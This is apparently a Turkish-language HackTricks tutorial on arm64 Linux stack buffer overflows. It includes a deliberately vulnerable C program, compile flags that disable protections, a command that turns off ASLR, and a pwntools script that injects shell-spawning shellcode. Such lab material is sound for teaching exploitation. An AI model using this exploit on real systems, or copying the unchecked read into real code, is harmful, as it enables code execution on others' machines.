Stack Shellcode - arm64
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
arm64 hakkında bir giriş için şuraya bakın:
Linux
Code
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie, canary ve nx olmadan derleyin:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
ASLR yok & canary yok - Stack Overflow
ASLR'yi durdurmak için çalıştırın:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Bulmak için offset of the bof check this link.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
Tek "karmaşık" olan şey burada çağrılacak stack üzerindeki adres olurdu. Benim durumumda exploit'i gdb ile bulduğum adresi kullanarak oluşturdum, ama exploit yapınca işe yaramadı (çünkü stack adresi biraz değişmişti).
Oluşturulan core
file'ı (gdb ./bog ./core
) açıp shellcode'un başlangıç adresinin gerçek değerini kontrol ettim.
macOS
tip
macOS'ta NX'i devre dışı bırakmak mümkün değil çünkü arm64'te bu mod donanım seviyesinde uygulanıyor, dolayısıyla devre dışı bırakılamıyor; bu yüzden macOS'ta stack'te shellcode içeren örnekler bulamayacaksınız.
macOS için bir ret2win örneğine bakın:
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.